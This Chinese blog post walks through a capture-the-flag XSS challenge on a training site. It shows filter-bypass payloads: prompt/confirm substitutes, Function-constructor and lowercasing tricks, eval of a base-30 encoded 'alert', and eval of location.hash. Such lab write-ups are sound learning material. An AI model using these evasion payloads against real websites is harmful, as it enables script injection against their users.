0
点赞
收藏
分享

微信扫一扫

Swift泛型:构建灵活且可重用代码的超能力

南陵王梁枫 2024-08-23 阅读 5
xss前端

目录

靶场练习地址:https://xss.pwnfunction.com/

题目源码:

代码分析:

方法一:匿名函数

方法二:使用eval函数绕过限制 

示例:

方法三:利用hash绕过


靶场练习地址:https://xss.pwnfunction.com/

题目源码:

代码分析:

那么,最简单的绕过就是:

payload:prompt(1337);

payload:confirm(1337);

如果上面的行不通我们可以使用以下方法来解决:

方法一:匿名函数

var add = new Function(
	'x',
	'y',
	'return x*y'
);

等同于

function add(x,y){
	return x*y;
}

如何执行: 

 因为JavaScript是严格区分大小写的,所以我们可以将大写的ALERT转为小写然后执行:

ok,执行成功!!!

方法二:使用eval函数绕过限制 

这里用到了js中的一个函数:

示例:

所以将alert转化成30进制

注:转为tostring方法中间为.. 

eval(8680439..toString(30))(1337)

ok,成功弹窗!

方法三:利用hash绕过

var url = document.createElement('a');
url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container';
console.log(url.href);      // https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container
console.log(url.protocol);  // https:
console.log(url.host);      // developer.mozilla.org
console.log(url.hostname);  // developer.mozilla.org
console.log(url.port);      // (blank - https assumes port 443)
console.log(url.pathname);  // /en-US/search
console.log(url.search);    // ?q=URL
console.log(url.hash);      // #search-results-close-container
console.log(url.origin);    // https://developer.mozilla.org
eval(location.hash.slice(1))#alert(1337)

ok,完成!!!

以上就是目前我知道的所有方法。

举报

相关推荐

0 条评论